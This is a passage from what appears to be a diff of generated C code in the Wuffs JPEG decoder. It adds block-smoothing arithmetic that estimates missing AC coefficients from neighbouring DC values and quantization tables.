<< 8u)))); -+ } else { -+ v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -+ } -+ self->private_data.f_mcu_blocks[0u][1u] = ((uint16_t)(v_scratch)); -+ } -+ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][2u])); -+ if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][2u] == 0u)) { -+ v_scratch = 0u; -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); -+ v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); -+ v_scratch += ((uint32_t)(4294967291u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); -+ v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); -+ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); -+ v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); -+ v_scratch += ((uint32_t)(4294967282u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); -+ v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); -+ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); -+ v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); -+ v_scratch += ((uint32_t)(4294967291u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); -+ v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); -+ v_scratch *= v_q_00; -+ if (v_scratch < 2147483648u) { -+ v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -+ } else { -+ v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -+ } -+ self->private_data.f_mcu_blocks[0u][2u] = ((uint16_t)(v_scratch)); -+ } -+ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][3u])); -+ if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][3u] == 0u)) { -+ v_scratch = 0u; -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); -+ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); -+ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); -+ v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); -+ v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); -+ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); -+ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); -+ v_scratch *= v_q_00; -+ if (v_scratch < 2147483648u) { -+ v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -+ } else { -+ v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -+ } -+ self->private_data.f_mcu_blocks[0u][3u] = ((uint16_t)(v_scratch)); -+ } -+ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][8u])); -+ if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][8u] == 0u)) { -+ v_scratch = 0u; -+ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); -+ v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); -+ v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); -+ v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); -+ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); -+ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); -+ v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); -+ v_scratch += ((uint32_t)(38u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); -+ v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); -+ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); -+ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); -+ v_scratch += ((uint32_t)(4294967283u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); -+ v_scratch += ((uint32_t)(4294967258u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); -+ v_scratch += ((uint32_t)(4294967283u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); -+ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); -+ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); -+ v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); -+ v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); -+ v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); -+ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); -+ v_scratch *= v_q_00; -+ if (v_scratch < 2147483648u) { -+ v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -+ } else { -+ v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -+ } -+ self->private_data.f_mcu_blocks[0u][8u] = ((uint16_t)(v_scratch)); -+ } -+ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][9u])); -+ if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][9u] == 0u)) { -+ v_scratch = 0u; -+ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); -+ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); -+ v_scratch += ((uint32_t)(9u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); -+ v_scratch += ((uint32_t)(4294967287u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); -+ v_scratch += ((uint32_t)(4294967287u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); -+ v_scratch += ((uint32_t)(9u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); -+ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); -+ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); -+ v_scratch *= v_q_00; -+ if (v_scratch < 2147483648u) { -+ v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -+ } else { -+ v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -+ } -+ self->private_data.f_mcu_blocks[0u][9u] = ((uint16_t)(v_scratch)); -+ } -+ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][10u])); -+ if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][10u] == 0u)) { -+ v_scratch = 0u; -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); -+ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); -+ v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); -+ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); -+ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); -+ v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); -+ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); -+ v_scratch *= v_q_00; -+ if (v_scratch < 2147483648u) { -+ v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -+ } else { -+ v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -+ } -+ self->private_data.f_mcu_blocks[0u][10u] = ((uint16_t)(v_scratch)); -+ } -+ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][16u])); -+ if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][16u] == 0u)) { -+ v_scratch = 0u; -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); -+ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); -+ v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); -+ v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); -+ v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); -+ v_scratch += ((uint32_t)(4294967291u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); -+ v_scratch += ((uint32_t)(4294967282u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); -+ v_scratch += ((uint32_t)(4294967291u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); -+ v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); -+ v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); -+ v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); -+ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); -+ v_scratch *= v_q_00; -+ if (v_scratch < 2147483648u) { -+ v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -+ } else { -+ v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -+ } -+ self->private_data.f_mcu_blocks[0u][16u] = ((uint16_t)(v_scratch)); -+ } -+ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][17u])); -+ if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][17u] == 0u)) { -+ v_scratch = 0u; -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); -+ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); -+ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); -+ v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); -+ v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); -+ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); -+ v_scratch += ((uint32_t)(0u * 